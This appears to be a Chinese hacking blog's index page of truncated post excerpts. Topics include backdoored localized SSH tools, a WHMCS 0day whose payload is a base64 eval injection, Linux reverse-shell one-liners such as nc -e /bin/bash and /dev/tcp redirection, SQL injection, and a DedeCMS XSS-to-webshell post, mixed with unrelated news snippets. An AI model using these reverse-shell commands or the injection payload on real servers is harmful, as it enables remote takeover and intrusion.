1月31日消息，360安全中心今日发布安全警报称，国内流行的部分“汉化版”PuTTY、WinSCP、SSHSecure工具内置黑客后门，可能导致服务器系统管理员密码及资料泄露，主要影响Linux服务器...
04月03日49 views评论putty
服务器
360全面拦截PuTTY等汉化版黑客后门
04月03日49 views评论putty
服务器
04月03日49 views评论putty
服务器
某网络硬盘漏洞
whmcs主机管理系统0day
先注册个id 提交一个ticket如下 {php}eval(base64_decode('JGNvZGUgPSBiYXNlNjRfZGVjb2RlKCJQRDl3YUhBTkNtVmphRzhnSnp...
04月03日lcx335 views评论day
id
baigo bbs & baigo cms
1. user_reg.asp '注册 case "user_reg_do" user_name = trim(request.form("user_name")) u...
04月03日lcx38 views评论pass
user
英国降下罕见蓝色“果冻”雨 状似弹珠(图)
雨滴状似弹珠 据英国《卫报》30日报道，英国多塞特郡伯恩茅斯(Bournemouth)61岁老人史蒂夫·霍恩斯比(Steve Hornsby)在26日遭遇到一件新鲜事，他家后院突然天降奇雨，雨点除了普...
04月03日44 views评论史蒂夫
弹珠
linux 五种反弹SHELL
1. nc -e /bin/bash 2. mknod backpipe p; nc 0backpipe 3. /bin/bash -i > /dev/tcp// 0&1 4. mkno...
04月03日lcx30 views评论el
h
后台登陆框post注入
作者：knife 目录 0×00 踩点 0×01 寻找漏洞 0×02 利用漏洞 0×03 完结 0x00 踩点 再一次授权情况下 ，本人对骚狐 旗下某个站点发起了一次 友情的渗透 在不知道任何信息的情...
04月03日22 views评论服务器
漏洞
视频:世界最强整人视频:最恐怖真实的生化危机
/> 视频:世界最强整人视频:最恐怖真实的生化危机 jacklee1987 发表于3年前 这样整人真恐怖... 可能大家看开头不明所以然,我告诉你是怎么回事. 这帮准备整人的人在游戏机厅里安排了...
04月03日lcx34 views评论整人
游戏
汉化版 putty、WinSCP、SSH Secure 等工具中发现后门
多个安全达人在微博发布消息，称在汉化版putty、WinSCP、SSH Secure等工具中发现后门。经金山毒霸安全中心验证，这些汉化版管理工具的确存在后门程序，可窃取管理员帐号，从而完全控制linu...
04月03日45 views评论putty
winscp
Nuclear-Blog v6.0 博客系统抢先展示
/* 闪烁 不受暂停影响版，原版 delay 函数会导致整个系统挂起，严重影响执行。 这个采用系统时间判断，其他代码不受影响，系统无挂起。 打开一个LED指定毫秒，然后熄灭指定毫秒，反复进行。 这个示...
04月03日39 views评论a
b
DedeCMS 5.7圈子XSS跨站可拿WebShell
作者：sfcuboy 创建圈子和编辑圈子时未对圈子的描述内容进行过滤。可以插入外部JS文件引用。管理员在查看后台圈子列表时中招。运行外部JS文件从而修改站点配置。允许上传php,asp文件等。 外部J...
04月03日65 views评论js
文件
关于一种以“bill”开头的变异MD5加密方式的破解方法
关于一种以“bill”开头的变异MD5加密方式的破解方法，Asp 变异 MD5 加密模块。 偶然间看到个求解密帖子，大概研究了下，做一下记录，以后可能用得着。 原帖标题为：求教一个md5加密算法怎么解...
04月03日51 views评论lvalue
md
1097